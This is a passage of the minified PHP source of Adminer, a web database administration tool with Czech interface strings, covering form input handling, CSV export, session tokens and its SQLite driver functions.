as$x=>$X)$Dc[$x]=(array)$X;$J='';foreach($Dc["error"]as$x=>$m){if($m)return$m;$C=$Dc["name"][$x];$eh=$Dc["tmp_name"][$x];$rb=file_get_contents($Gb&&preg_match('~\\.gz$~',$C)?"compress.zlib://$eh":$eh);if($Gb){$wg=substr($rb,0,3);if(function_exists("iconv")&&preg_match("~^\xFE\xFF|^\xFF\xFE~",$wg,$Nf))$rb=iconv("utf-16","utf-8",$rb);elseif($wg=="\xEF\xBB\xBF")$rb=substr($rb,3);$J.=$rb."\n\n";}else$J.=$rb;}return$J;}function
upload_error($m){$be=($m==UPLOAD_ERR_INI_SIZE?ini_get("upload_max_filesize"):0);return($m?'Nepodařilo se nahrát soubor.'.($be?" ".sprintf('Maximální povolená velikost souboru je %sB.',$be):""):'Soubor neexistuje.');}function
repeat_pattern($if,$y){return
str_repeat("$if{0,65535}",$y/65535)."$if{0,".($y%65535)."}";}function
is_utf8($X){return(preg_match('~~u',$X)&&!preg_match('~[\\0-\\x8\\xB\\xC\\xE-\\x1F]~',$X));}function
shorten_utf8($P,$y=80,$Cg=""){if(!preg_match("(^(".repeat_pattern("[\t\r\n -\x{FFFF}]",$y).")($)?)u",$P,$B))preg_match("(^(".repeat_pattern("[\t\r\n -~]",$y).")($)?)",$P,$B);return
h($B[1]).$Cg.(isset($B[2])?"":"<i>...</i>");}function
friendly_url($X){return
preg_replace('~[^a-z0-9_]~i','-',$X);}function
hidden_fields($yf,$id=array()){while(list($x,$X)=each($yf)){if(is_array($X)){foreach($X
as$_d=>$W)$yf[$x."[$_d]"]=$W;}elseif(!in_array($x,$id))echo'<input type="hidden" name="'.h($x).'" value="'.h($X).'">';}}function
hidden_fields_get(){echo(sid()?'<input type="hidden" name="'.session_name().'" value="'.h(session_id()).'">':''),(SERVER!==null?'<input type="hidden" name="'.DRIVER.'" value="'.h(SERVER).'">':""),'<input type="hidden" name="username" value="'.h($_GET["username"]).'">';}function
table_status1($Q,$Ac=false){$J=table_status($Q,$Ac);return($J?$J:array("Name"=>$Q));}function
column_foreign_keys($Q){global$b;$J=array();foreach($b->foreignKeys($Q)as$p){foreach($p["source"]as$X)$J[$X][]=$p;}return$J;}function
enum_input($U,$Ha,$n,$Y,$gc=null){global$b;preg_match_all("~'((?:[^']|'')*)'~",$n["length"],$Wd);$J=($gc!==null?"<label><input type='$U'$Ha value='$gc'".((is_array($Y)?in_array($gc,$Y):$Y===0)?" checked":"")."><i>".'prázdné'."</i></label>":"");foreach($Wd[1]as$r=>$X){$X=stripcslashes(str_replace("''","'",$X));$Za=(is_int($Y)?$Y==$r+1:(is_array($Y)?in_array($r+1,$Y):$Y===$X));$J.=" <label><input type='$U'$Ha value='".($r+1)."'".($Za?' checked':'').'>'.h($b->editVal($X,$n)).'</label>';}return$J;}function
input($n,$Y,$q){global$g,$rh,$b,$w;$C=h(bracket_escape($n["field"]));echo"<td class='function'>";if(is_array($Y)&&!$q){$Ca=array($Y);if(version_compare(PHP_VERSION,5.4)>=0)$Ca[]=JSON_PRETTY_PRINT;$Y=call_user_func_array('json_encode',$Ca);$q="json";}$Qf=($w=="mssql"&&$n["auto_increment"]);if($Qf&&!$_POST["save"])$q=null;$Rc=(isset($_GET["select"])||$Qf?array("orig"=>'původní'):array())+$b->editFunctions($n);$Ha=" name='fields[$C]'";if($n["type"]=="enum")echo
nbsp($Rc[""])."<td>".$b->editInput($_GET["edit"],$n,$Ha,$Y);else{$Gc=0;foreach($Rc
as$x=>$X){if($x===""||!$X)break;$Gc++;}$Ee=($Gc?" onchange=\"var f = this.form['function[".h(js_escape(bracket_escape($n["field"])))."]']; if ($Gc > f.selectedIndex) f.selectedIndex = $Gc;\" onkeyup='keyupChange.call(this);'":"");$Ha.=$Ee;$Zc=(in_array($q,$Rc)||isset($Rc[$q]));echo(count($Rc)>1?"<select name='function[$C]' onchange='functionChange(this);'".on_help("getTarget(event).value.replace(/^SQL\$/, '')",1).">".optionlist($Rc,$q===null||$Zc?$q:"")."</select>":nbsp(reset($Rc))).'<td>';$rd=$b->editInput($_GET["edit"],$n,$Ha,$Y);if($rd!="")echo$rd;elseif($n["type"]=="set"){preg_match_all("~'((?:[^']|'')*)'~",$n["length"],$Wd);foreach($Wd[1]as$r=>$X){$X=stripcslashes(str_replace("''","'",$X));$Za=(is_int($Y)?($Y>>$r)&1:in_array($X,explode(",",$Y),true));echo" <label><input type='checkbox' name='fields[$C][$r]' value='".(1<<$r)."'".($Za?' checked':'')."$Ee>".h($b->editVal($X,$n)).'</label>';}}elseif(preg_match('~blob|bytea|raw|file~',$n["type"])&&ini_bool("file_uploads"))echo"<input type='file' name='fields-$C'$Ee>";elseif(($Ug=preg_match('~text|lob~',$n["type"]))||preg_match("~\n~",$Y)){if($Ug&&$w!="sqlite")$Ha.=" cols='50' rows='12'";else{$L=min(12,substr_count($Y,"\n")+1);$Ha.=" cols='30' rows='$L'".($L==1?" style='height: 1.2em;'":"");}echo"<textarea$Ha>".h($Y).'</textarea>';}elseif($q=="json")echo"<textarea$Ha cols='50' rows='12' class='jush-js'>".h($Y).'</textarea>';else{$de=(!preg_match('~int~',$n["type"])&&preg_match('~^(\\d+)(,(\\d+))?$~',$n["length"],$B)?((preg_match("~binary~",$n["type"])?2:1)*$B[1]+($B[3]?1:0)+($B[2]&&!$n["unsigned"]?1:0)):($rh[$n["type"]]?$rh[$n["type"]]+($n["unsigned"]?0:1):0));if($w=='sql'&&$g->server_info>=5.6&&preg_match('~time~',$n["type"]))$de+=7;echo"<input".((!$Zc||$q==="")&&preg_match('~(?<!o)int~',$n["type"])?" type='number'":"")." value='".h($Y)."'".($de?" maxlength='$de'":"").(preg_match('~char|binary~',$n["type"])&&$de>20?" size='40'":"")."$Ha>";}}}function
process_input($n){global$b;$t=bracket_escape($n["field"]);$q=$_POST["function"][$t];$Y=$_POST["fields"][$t];if($n["type"]=="enum"){if($Y==-1)return
false;if($Y=="")return"NULL";return+$Y;}if($n["auto_increment"]&&$Y=="")return
null;if($q=="orig")return($n["on_update"]=="CURRENT_TIMESTAMP"?idf_escape($n["field"]):false);if($q=="NULL")$Y=null;if($n["type"]=="set")return
array_sum((array)$Y);if($q=="json"){$q="";$Y=json_decode($Y,true);if(!is_array($Y))return
false;return$Y;}if(preg_match('~blob|bytea|raw|file~',$n["type"])&&ini_bool("file_uploads")){$Dc=get_file("fields-$t");if(!is_string($Dc))return
false;return
q($Dc);}return$b->processInput($n,$Y,$q);}function
fields_from_edit(){global$l;$J=array();foreach((array)$_POST["field_keys"]as$x=>$X){if($X!=""){$X=bracket_escape($X);$_POST["function"][$X]=$_POST["field_funs"][$x];$_POST["fields"][$X]=$_POST["field_vals"][$x];}}foreach((array)$_POST["fields"]as$x=>$X){$C=bracket_escape($x,1);$J[$C]=array("field"=>$C,"privileges"=>array("insert"=>1,"update"=>1),"null"=>1,"auto_increment"=>($x==$l->primary),);}return$J;}function
search_tables(){global$b,$g;$_GET["where"][0]["op"]="LIKE %%";$_GET["where"][0]["val"]=$_POST["query"];$Mc=false;foreach(table_status('',true)as$Q=>$R){$C=$b->tableName($R);if(isset($R["Engine"])&&$C!=""&&(!$_POST["tables"]||in_array($Q,$_POST["tables"]))){$I=$g->query("SELECT".limit("1 FROM ".table($Q)," WHERE ".implode(" AND ",$b->selectSearchProcess(fields($Q),array())),1));if(!$I||$I->fetch_row()){if(!$Mc){echo"<ul>\n";$Mc=true;}echo"<li>".($I?"<a href='".h(ME."select=".urlencode($Q)."&where[0][op]=".urlencode($_GET["where"][0]["op"])."&where[0][val]=".urlencode($_GET["where"][0]["val"]))."'>$C</a>\n":"$C: <span class='error'>".error()."</span>\n");}}}echo($Mc?"</ul>":"<p class='message'>".'Žádné tabulky.')."\n";}function
dump_headers($gd,$ne=false){global$b;$J=$b->dumpHeaders($gd,$ne);$We=$_POST["output"];if($We!="text")header("Content-Disposition: attachment; filename=".$b->dumpFilename($gd).".$J".($We!="file"&&!preg_match('~[^0-9a-z]~',$We)?".$We":""));session_write_close();ob_flush();flush();return$J;}function
dump_csv($K){foreach($K
as$x=>$X){if(preg_match("~[\"\n,;\t]~",$X)||$X==="")$K[$x]='"'.str_replace('"','""',$X).'"';}echo
implode(($_POST["format"]=="csv"?",":($_POST["format"]=="tsv"?"\t":";")),$K)."\r\n";}function
apply_sql_function($q,$e){return($q?($q=="unixepoch"?"DATETIME($e, '$q')":($q=="count distinct"?"COUNT(DISTINCT ":strtoupper("$q("))."$e)"):$e);}function
password_file($xb){$Ob=ini_get("upload_tmp_dir");if(!$Ob){if(function_exists('sys_get_temp_dir'))$Ob=sys_get_temp_dir();else{$Ec=@tempnam("","");if(!$Ec)return
false;$Ob=dirname($Ec);unlink($Ec);}}$Ec="$Ob/adminer.key";$J=@file_get_contents($Ec);if($J||!$xb)return$J;$Oc=@fopen($Ec,"w");if($Oc){$J=rand_string();fwrite($Oc,$J);fclose($Oc);}return$J;}function
rand_string(){return
md5(uniqid(mt_rand(),true));}function
select_value($X,$_,$n,$Vg){global$b,$ba;if(is_array($X)){$J="";foreach($X
as$_d=>$W)$J.="<tr>".($X!=array_values($X)?"<th>".h($_d):"")."<td>".select_value($W,$_,$n,$Vg);return"<table cellspacing='0'>$J</table>";}if(!$_)$_=$b->selectLink($X,$n);if($_===null){if(is_mail($X))$_="mailto:$X";if($_f=is_url($X))$_=($_f=="http"&&$ba?$X:"$_f://www.adminer.org/redirect/?url=".urlencode($X));}$J=$b->editVal($X,$n);if($J!==null){if($J==="")$J=" ";elseif($Vg!=""&&is_shortable($n)&&is_utf8($J))$J=shorten_utf8($J,max(0,+$Vg));else$J=h($J);}return$b->selectVal($J,$_,$n,$X);}function
is_mail($dc){$Fa='[-a-z0-9!#$%&\'*+/=?^_`{|}~]';$Rb='[a-z0-9]([-a-z0-9]{0,61}[a-z0-9])';$if="$Fa+(\\.$Fa+)*@($Rb?\\.)+$Rb";return
is_string($dc)&&preg_match("(^$if(,\\s*$if)*\$)i",$dc);}function
is_url($P){$Rb='[a-z0-9]([-a-z0-9]{0,61}[a-z0-9])';return(preg_match("~^(https?)://($Rb?\\.)+$Rb(:\\d+)?(/.*)?(\\?.*)?(#.*)?\$~i",$P,$B)?strtolower($B[1]):"");}function
is_shortable($n){return
preg_match('~char|text|lob|geometry|point|linestring|polygon|string~',$n["type"]);}function
count_rows($Q,$Z,$ud,$Uc){global$w;$H=" FROM ".table($Q).($Z?" WHERE ".implode(" AND ",$Z):"");return($ud&&($w=="sql"||count($Uc)==1)?"SELECT COUNT(DISTINCT ".implode(", ",$Uc).")$H":"SELECT COUNT(*)".($ud?" FROM (SELECT 1$H$Vc) x":$H));}function
slow_query($H){global$b,$T;$k=$b->database();$Xg=$b->queryTimeout();if(support("kill")&&is_object($h=connect())&&($k==""||$h->select_db($k))){$Ed=$h->result("SELECT CONNECTION_ID()");echo'<script type="text/javascript">
var timeout = setTimeout(function () {
ajax(\'',js_escape(ME),'script=kill\', function () {
}, \'token=',$T,'&kill=',$Ed,'\');
}, ',1000*$Xg,');
</script>
';}else$h=null;ob_flush();flush();$J=@get_key_vals($H,$h,$Xg);if($h){echo"<script type='text/javascript'>clearTimeout(timeout);</script>\n";ob_flush();flush();}return
array_keys($J);}function
get_token(){$Ef=rand(1,1e6);return($Ef^$_SESSION["token"]).":$Ef";}function
verify_token(){list($T,$Ef)=explode(":",$_POST["token"]);return($Ef^$_SESSION["token"])==$T;}function
lzw_decompress($Pa){$Nb=256;$Qa=8;$fb=array();$Sf=0;$Tf=0;for($r=0;$r<strlen($Pa);$r++){$Sf=($Sf<<8)+ord($Pa[$r]);$Tf+=8;if($Tf>=$Qa){$Tf-=$Qa;$fb[]=$Sf>>$Tf;$Sf&=(1<<$Tf)-1;$Nb++;if($Nb>>$Qa)$Qa++;}}$Mb=range("\0","\xFF");$J="";foreach($fb
as$r=>$eb){$cc=$Mb[$eb];if(!isset($cc))$cc=$Rh.$Rh[0];$J.=$cc;if($r)$Mb[]=$Rh.$cc[0];$Rh=$cc;}return$J;}function
on_help($kb,$pg=0){return" onmouseover='helpMouseover(this, event, ".h($kb).", $pg);' onmouseout='helpMouseout(this, event);'";}global$b,$g,$Sb,$ac,$kc,$m,$Rc,$Wc,$ba,$qd,$w,$ca,$Hd,$De,$jf,$_g,$ad,$T,$jh,$rh,$yh,$ia;if(!$_SERVER["REQUEST_URI"])$_SERVER["REQUEST_URI"]=$_SERVER["ORIG_PATH_INFO"];if(!strpos($_SERVER["REQUEST_URI"],'?')&&$_SERVER["QUERY_STRING"]!="")$_SERVER["REQUEST_URI"].="?$_SERVER[QUERY_STRING]";$ba=$_SERVER["HTTPS"]&&strcasecmp($_SERVER["HTTPS"],"off");@ini_set("session.use_trans_sid",false);session_cache_limiter("");if(!defined("SID")){session_name("adminer_sid");$F=array(0,preg_replace('~\\?.*~','',$_SERVER["REQUEST_URI"]),"",$ba);if(version_compare(PHP_VERSION,'5.2.0')>=0)$F[]=true;call_user_func_array('session_set_cookie_params',$F);session_start();}remove_slashes(array(&$_GET,&$_POST,&$_COOKIE),$Fc);if(get_magic_quotes_runtime())set_magic_quotes_runtime(false);@set_time_limit(0);@ini_set("zend.ze1_compatibility_mode",false);@ini_set("precision",20);function
get_lang(){return'cs';}function
lang($ih,$we=null){if(is_array($ih)){$mf=($we==1?0:($we&&$we<5?1:2));$ih=$ih[$mf];}$ih=str_replace("%d","%s",$ih);$we=number_format($we,0,".",' ');return
sprintf($ih,$we);}if(extension_loaded('pdo')){class
Min_PDO
extends
PDO{var$_result,$server_info,$affected_rows,$errno,$error;function
__construct(){global$b;$mf=array_search("SQL",$b->operators);if($mf!==false)unset($b->operators[$mf]);}function
dsn($Xb,$V,$G){try{parent::__construct($Xb,$V,$G);}catch(Exception$pc){auth_error($pc);exit;}$this->setAttribute(13,array('Min_PDOStatement'));$this->server_info=$this->getAttribute(4);}function
query($H,$sh=false){$I=parent::query($H);$this->error="";if(!$I){list(,$this->errno,$this->error)=$this->errorInfo();return
false;}$this->store_result($I);return$I;}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result($I=null){if(!$I){$I=$this->_result;if(!$I)return
false;}if($I->columnCount()){$I->num_rows=$I->rowCount();return$I;}$this->affected_rows=$I->rowCount();return
true;}function
next_result(){if(!$this->_result)return
false;$this->_result->_offset=0;return@$this->_result->nextRowset();}function
result($H,$n=0){$I=$this->query($H);if(!$I)return
false;$K=$I->fetch();return$K[$n];}}class
Min_PDOStatement
extends
PDOStatement{var$_offset=0,$num_rows;function
fetch_assoc(){return$this->fetch(2);}function
fetch_row(){return$this->fetch(3);}function
fetch_field(){$K=(object)$this->getColumnMeta($this->_offset++);$K->orgtable=$K->table;$K->orgname=$K->name;$K->charsetnr=(in_array("blob",(array)$K->flags)?63:0);return$K;}}}$Sb=array();class
Min_SQL{var$_conn;function
Min_SQL($g){$this->_conn=$g;}function
quote($Y){return($Y===null?"NULL":$this->_conn->quote($Y));}function
select($Q,$M,$Z,$Uc,$Me=array(),$z=1,$E=0,$uf=false){global$b,$w;$ud=(count($Uc)<count($M));$H=$b->selectQueryBuild($M,$Z,$Uc,$Me,$z,$E);if(!$H)$H="SELECT".limit(($_GET["page"]!="last"&&+$z&&$Uc&&$ud&&$w=="sql"?"SQL_CALC_FOUND_ROWS ":"").implode(", ",$M)."\nFROM ".table($Q),($Z?"\nWHERE ".implode(" AND ",$Z):"").($Uc&&$ud?"\nGROUP BY ".implode(", ",$Uc):"").($Me?"\nORDER BY ".implode(", ",$Me):""),($z!=""?+$z:null),($E?$z*$E:0),"\n");if($uf)echo$b->selectQuery($H);return$this->_conn->query($H);}function
delete($Q,$Cf,$z=0){$H="FROM ".table($Q);return
queries("DELETE".($z?limit1($H,$Cf):" $H$Cf"));}function
update($Q,$O,$Cf,$z=0,$kg="\n"){$Hh=array();foreach($O
as$x=>$X)$Hh[]="$x = $X";$H=table($Q)." SET$kg".implode(",$kg",$Hh);return
queries("UPDATE".($z?limit1($H,$Cf):" $H$Cf"));}function
insert($Q,$O){return
queries("INSERT INTO ".table($Q).($O?" (".implode(", ",array_keys($O)).")\nVALUES (".implode(", ",$O).")":" DEFAULT VALUES"));}function
insertUpdate($Q,$L,$sf){return
false;}function
begin(){return
queries("BEGIN");}function
commit(){return
queries("COMMIT");}function
rollback(){return
queries("ROLLBACK");}}$Sb["sqlite"]="SQLite 3";$Sb["sqlite2"]="SQLite 2";if(isset($_GET["sqlite"])||isset($_GET["sqlite2"])){$pf=array((isset($_GET["sqlite"])?"SQLite3":"SQLite"),"PDO_SQLite");define("DRIVER",(isset($_GET["sqlite"])?"sqlite":"sqlite2"));if(class_exists(isset($_GET["sqlite"])?"SQLite3":"SQLiteDatabase")){if(isset($_GET["sqlite"])){class
Min_SQLite{var$extension="SQLite3",$server_info,$affected_rows,$errno,$error,$_link;function
Min_SQLite($Ec){$this->_link=new
SQLite3($Ec);$Kh=$this->_link->version();$this->server_info=$Kh["versionString"];}function
query($H){$I=@$this->_link->query($H);$this->error="";if(!$I){$this->errno=$this->_link->lastErrorCode();$this->error=$this->_link->lastErrorMsg();return
false;}elseif($I->numColumns())return
new
Min_Result($I);$this->affected_rows=$this->_link->changes();return
true;}function
quote($P){return(is_utf8($P)?"'".$this->_link->escapeString($P)."'":"x'".reset(unpack('H*',$P))."'");}function
store_result(){return$this->_result;}function
result($H,$n=0){$I=$this->query($H);if(!is_object($I))return
false;$K=$I->_result->fetchArray();return$K[$n];}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
Min_Result($I){$this->_result=$I;}function
fetch_assoc(){return$this->_result->fetchArray(SQLITE3_ASSOC);}function
fetch_row(){return$this->_result->fetchArray(SQLITE3_NUM);}function
fetch_field(){$e=$this->_offset++;$U=$this->_result->columnType($e);return(object)array("name"=>$this->_result->columnName($e),"type"=>$U,"charsetnr"=>($U==SQLITE3_BLOB?63:0),);}function
__desctruct(){return$this->_result->finalize();}}}else{class
Min_SQLite{var$extension="SQLite",$server_info,$affected_rows,$error,$_link;function
Min_SQLite($Ec){$this->server_info=sqlite_libversion();$this->_link=new
SQLiteDatabase($Ec);}function
query($H,$sh=false){$ke=($sh?"unbufferedQuery":"query");$I=@$this->_link->$ke($H,SQLITE_BOTH,$m);$this->error="";if(!$I){$this->error=$m;return
false;}elseif($I===true){$this->affected_rows=$this->changes();return
true;}return
new
Min_Result($I);}function
quote($P){return"'".sqlite_escape_string($P)."'";}function
store_result(){return$this->_result;}function
result($H,$n=0){$I=$this->query($H);if(!is_object($I))return
false;$K=$I->_result->fetch();return$K[$n];}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
Min_Result($I){$this->_result=$I;if(method_exists($I,'numRows'))$this->num_rows=$I->numRows();}function
fetch_assoc(){$K=$this->_result->fetch(SQLITE_ASSOC);if(!$K)return
false;$J=array();foreach($K
as$x=>$X)$J[($x[0]=='"'?idf_unescape($x):$x)]=$X;return$J;}function
fetch_row(){return$this->_result->fetch(SQLITE_NUM);}function
fetch_field(){$C=$this->_result->fieldName($this->_offset++);$if='(\\[.*]|"(?:[^"]|"")*"|(.+))';if(preg_match("~^($if\\.)?$if\$~",$C,$B)){$Q=($B[3]!=""?$B[3]:idf_unescape($B[2]));$C=($B[5]!=""?$B[5]:idf_unescape($B[4]));}return(object)array("name"=>$C,"orgname"=>$C,"orgtable"=>$Q,);}}}}elseif(extension_loaded("pdo_sqlite")){class
Min_SQLite
extends
Min_PDO{var$extension="PDO_SQLite";function
Min_SQLite($Ec){$this->dsn(DRIVER.":$Ec","","");}}}if(class_exists("Min_SQLite")){class
Min_DB
extends
Min_SQLite{function
Min_DB(){$this->Min_SQLite(":memory:");}function
select_db($Ec){if(is_readable($Ec)&&$this->query("ATTACH ".$this->quote(preg_match("~(^[/\\\\]|:)~",$Ec)?$Ec:dirname($_SERVER["SCRIPT_FILENAME"])."/$Ec")." AS a")){$this->Min_SQLite($Ec);return
true;}return
false;}function
multi_query($H){return$this->_result=$this->query($H);}function
next_result(){return
false;}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($Q,$L,$sf){$Hh=array();foreach($L
as$O)$Hh[]="(".implode(", ",$O).")";return
queries("REPLACE INTO ".table($Q)." (".implode(", ",array_keys(reset($L))).") VALUES\n".implode(",\n",$Hh));}}function
idf_escape($t){return'"'.str_replace('"','""',$t).'"';}function
table($t){return
idf_escape($t);}function
connect(){return
new
Min_DB;}function
get_databases(){return
array();}function
limit($H,$Z,$z,$D=0,$kg=" "){return" $H$Z".($z!==null?$kg."LIMIT $z".($D?" OFFSET $D":""):"");}function
limit1($H,$Z){global$g;return($g->result("SELECT sqlite_compileoption_used('ENABLE_UPDATE_DELETE_LIMIT')")?limit($H,$Z,1):" $H$Z");}function
db_collation($k,$ib){global$g;return$g->result("PRAGMA encoding");}function
engines(){return
array();}function
logged_user(){return
get_current_user();}function
tables_list(){return
get_key_vals("SELECT name, type FROM sqlite_master WHERE type IN ('table', 'view') ORDER BY (name = 'sqlite_sequence'), name",1);}function
count_tables($j){return
array();}function
table_status($C=""){global$g;$J=array();foreach(get_rows("SELECT name AS Name, type AS Engine FROM sqlite_master WHERE type IN ('table', 'view') ".($C!=""?"AND name = ".q($C):"ORDER BY name"))as$K){$K["Oid"]=1;$K["Auto_increment"]="";$K["Rows"]=$g->result("SELECT COUNT(*) FROM ".idf_escape($K["Name"]));$J[$K["Name"]]=$K;}foreach(get_rows("SELECT * FROM sqlite_sequence",null,"")as$K)$J[$K["name"]]["Auto_increment"]=$K["seq"];return($C!=""?$J[$C]:$J);}function
is_view($R){return$R["Engine"]=="view";}function
fk_support($R){global$g;return!$g->result("SELECT sqlite_compileoption_used('OMIT_FOREIGN_KEY')");}function
fields($Q){global$g;$J=array();$sf="";foreach(get_rows("PRAGMA table_info(".table($Q).")")as$K){$C=$K["name"];$U=strtolower($K["type"]);$Hb=$K["dflt_value"];$J[$C]=array("field"=>$C,"type"=>(preg_match('~int~i',$U)?"integer":(preg_match('~char|clob|text~i',$U)?"text":(preg_match('~blob~i',$U)?"blob":(preg_match('~real|floa|doub~i',$U)?"real":"numeric")))),"full_type"=>$U,"default"=>(preg_match("~'(.*)'~",$Hb,$B)?str_replace("''","'",$B[1]):($Hb=="NULL"?null:$Hb)),"null"=>!$K["notnull"],"privileges"=>array("select"=>1,"insert"=>1,"update"=>1),"primary"=>$K["pk"],);if($K["pk"]){if($sf!="")$J[$sf]["auto_increment"]=false;elseif(preg_match('~^integer$~i',$U))$J[$C]["auto_increment"]=true;$sf=$C;}}$ug=$g->result("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($Q));preg_match_all('~(("[^"]*+")+|[a-z0-9_]+)\s+text\s+COLLATE\s+(\'[^\']+\'|\S+)~i',$ug,$Wd,PREG_SET_ORDER);foreach($Wd
as$B){$C=str_replace('""','"',preg_replace('~^"|"$~','',$B[1]));if($J[$C])$J[$C]["collation"]=trim($B[3],"'");}return$J;}function
indexes($Q,$h=null){global$g;if(!is_object($h))$h=$g;$J=array();$ug=$h->result("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($Q));if(preg_match('~\bPRIMARY\s+KEY\s*\((([^)"]+|"[^"]*")++)~i',$ug,$B)){$J[""]=array("type"=>"PRIMARY","columns"=>array(),"lengths"=>array(),"descs"=>array());preg_match_all('~((("[^"]*+")+)|(\S+))(\s+(ASC|DESC))?(,\s*|$)~i',$B[1],$Wd,PREG_SET_ORDER);foreach($Wd
as$B){$J[""]["columns"][]=idf_unescape($B[2]).$B[4];$J[""]["descs"][]=(preg_match('~DESC~i',$B[5])?'1':null);}}if(!$J){foreach(fields($Q)as$C=>$n){if($n["primary"])$J[""]=array("type"=>"PRIMARY","columns"=>array($C),"lengths"=>array(),"descs"=>array(null));}}$vg=get_key_vals("SELECT name, sql FROM sqlite_master WHERE type = 'index' AND tbl_name = ".q($Q),$h);foreach(get_rows("PRAGMA index_list(".table($Q).")",$h)as$K){$C=$K["name"];if(!preg_match("~^sqlite_~",$C)){$J[$C]["type"]=($K["unique"]?"UNIQUE":"INDEX");$J[$C]["lengths"]=array();foreach(get_rows("PRAGMA index_info(".idf_escape($C).")",$h)as$ag)$J[$C]["columns"][]=$ag["name"];$J[$C]["descs"]=array();if(preg_match('~^CREATE( UNIQUE)? INDEX '.preg_quote(idf_escape($C).' ON '.idf_escape($Q),'~').' \((.*)\)$~i',$vg[$C],$Nf)){preg_match_all('/("[^"]*+")+( DESC)?/',$Nf[2],$Wd);foreach($Wd[2]as$X)$J[$C]["descs"][]=($X?'1':null);}}}return$J;}function
foreign_keys($Q){$J=array();foreach(get_rows("PRAGMA foreign_key_list(".table($Q).")")as$K){$p=&$J[$K["id"]];if(!$p)$p=$K;$p["source"][]=$K["from"];$p["target"][]=$K["to"];}return$J;}function
view($C){global$g;return
array("select"=>preg_replace('~^(?:[^`"[]+|`[^`]*`|"[^"]*")* AS\\s+~iU','',$g->result("SELECT sql FROM sqlite_master WHERE name = ".q($C))));}function
collations(){return(isset($_GET["create"])?get_vals("PRAGMA collation_list",1):array());}function
information_schema($k){return
false;}function
error(){global$g;return
h($g->error);}function
check_sqlite_name($C){global$g;$zc="db|sdb|sqlite";if(!preg_match("~^[^\\0]*\\.($zc)\$~",$C)){$g->error=sprintf('Prosím použijte jednu z koncovek %s.',str_replace("|",", ",$zc));return
false;}return
true;}function
create_database($k,$d){global$g;if(file_exists($k)){$g->error='Soubor existuje.';return
false;}if(!check_sqlite_name($k))return
false;try{$_=new
Min_SQLite($k);}catch(Exception$pc){$g->error=$pc->getMessage();return
false;}$_->query('PRAGMA encoding = "UTF-8"');$_->query('CREATE TABLE adminer (i)');$_->query('DROP TABLE adminer');return
true;}function
drop_databases($j){global$g;$g->Min_SQLite(":memory:");foreach($j
as$k){if(!@unlink($k)){$g->error='Soubor existuje.';return
false;}}return
true;}function
rename_database($C,$d){global$g;if(!check_sqlite_name($C))return
false;$g->Min_SQLite(":memory:");$g->error='Soubor existuje.';return@rename(DB,$C);}function
auto_increment(){return" PRIMARY KEY".(DRIVER=="sqlite"?" AUTOINCREMENT":"");}function
alter_table($Q,$C,$o,$Ic,$mb,$ic,$d,$Ja,$df){$Bh=($Q==""||$Ic);foreach($o
as$n){if($n[0]!=""||!$n[1]||$n[2]){$Bh=true;break;}}$c=array();$Ue=array();foreach($o
as$n){if($n[1]){$c[]=($Bh?$n[1]:"ADD ".implode($n[1]));if($n[0]!="")$Ue[$n[0]]=$n[1][0];}}if(!$Bh){foreach($c
as$X){if(!queries("ALTER TABLE ".table($Q)." $X"))return
false;}if($Q!=$C&&!queries("ALTER TABLE ".table($Q)." RENAME TO ".table($C)))return
false;}elseif(!recreate_table($Q,$C,$c,$Ue,$Ic))return
false;if($Ja)queries("UPDATE sqlite_sequence SET seq = $Ja WHERE name = ".q($C));return
true;}function
recreate_table($Q,$C,$o,$Ue,$Ic,$v=array()){if($Q!=""){if(!$o){foreach(fields($Q)as$x=>$n){$o[]=process_field($n,$n);$Ue[$x]=idf_escape($x);}}$tf=false;foreach($o
as$n){if($n[6])$tf=true;}$Vb=array();foreach($v
as$x=>$X){if($X[2]=="DROP"){$Vb[$X[1]]=true;unset($v[$x]);}}foreach(indexes($Q)as$Cd=>$u){$f=array();foreach($u["columns"]as$x=>$e){if(!$Ue[$e])continue
2;$f[]=$Ue[$e].($u["descs"][$x]?" DESC":"");}if(!$Vb[$Cd]){if($u["type"]!="PRIMARY"||!$tf)$v[]=array($u["type"],$Cd,$f);}}foreach($v
as$x=>$X){if($X[0]=="PRIMARY"){unset($v[$x]);$Ic[]=" PRIMARY KEY (".implode(", ",$X[2]).")";}}foreach(foreign_keys($Q)as$Cd=>$p){foreach($p["source"]as$x=>$e){if(!$Ue[$e])continue
2;$p["source"][$x]=idf_unescape($Ue[$e]);}if(!isset($Ic[" $Cd"]))$Ic[]=" ".format_foreign_key($p);}queries("BEGIN");}foreach($o
as$x=>$n)$o[$x]=" ".implode($n);$o=array_merge($o,array_filter($Ic));if(!queries("CREATE TABLE ".table($Q!=""?"adminer_$C":$C)." (\n".implode(",\n",$o)."\n)"))return
false;if($Q!=""){if($Ue&&!queries("INSERT INTO ".table("adminer_$C")." (".implode(", ",$Ue).") SELECT ".implode(", ",array_map('idf_escape',array_keys($Ue)))." FROM ".table($Q)))return
false;$oh=array();foreach(triggers($Q)as$mh=>$Yg){$kh=trigger($mh);$oh[]="CREATE TRIGGER ".idf_escape($mh)." ".implode(" ",$Yg)." ON ".table($C)."\n$kh[Statement]";}if(!queries("DROP TABLE ".table($Q)))return
false;queries("ALTER TABLE ".table("adminer_$C")." RENAME TO ".table($C));if(!alter_indexes($C,$v))return
false;foreach($oh
as$kh){if(!queries($kh))return
false;}queries("COMMIT");}return
true;}function
index_sql($Q,$U,$C,$f){return"CREATE $U ".($U!="INDEX"?"INDEX ":"").idf_escape($C!=""?$C:uniqid($Q."_"))." ON ".table($Q)." $f";}function
alter_indexes($Q,$c){foreach($c
as$sf){if($sf[0]=="PRIMARY")return
recreate_table($Q,$Q,array(),array(),array(),$c);}foreach(array_reverse($c)as$X){if(!queries($X[2]=="DROP"?"DROP INDEX ".idf_escape($X[1]):index_sql($Q,$X[0],$X[1],"(".implode(", ",$X[2]).")")))return
false;}return
true;}function
truncate_tables($S){return
apply_queries("DELETE FROM",$S);}function
drop_views($Mh){return
apply_queries("DROP VIEW",$Mh);}function
drop_tables($S){return
apply_queries("DROP TABLE",$S);}function
move_tables($S,$Mh,$Pg){return
false;}function
trigger($C){global$g;if($C=="")return
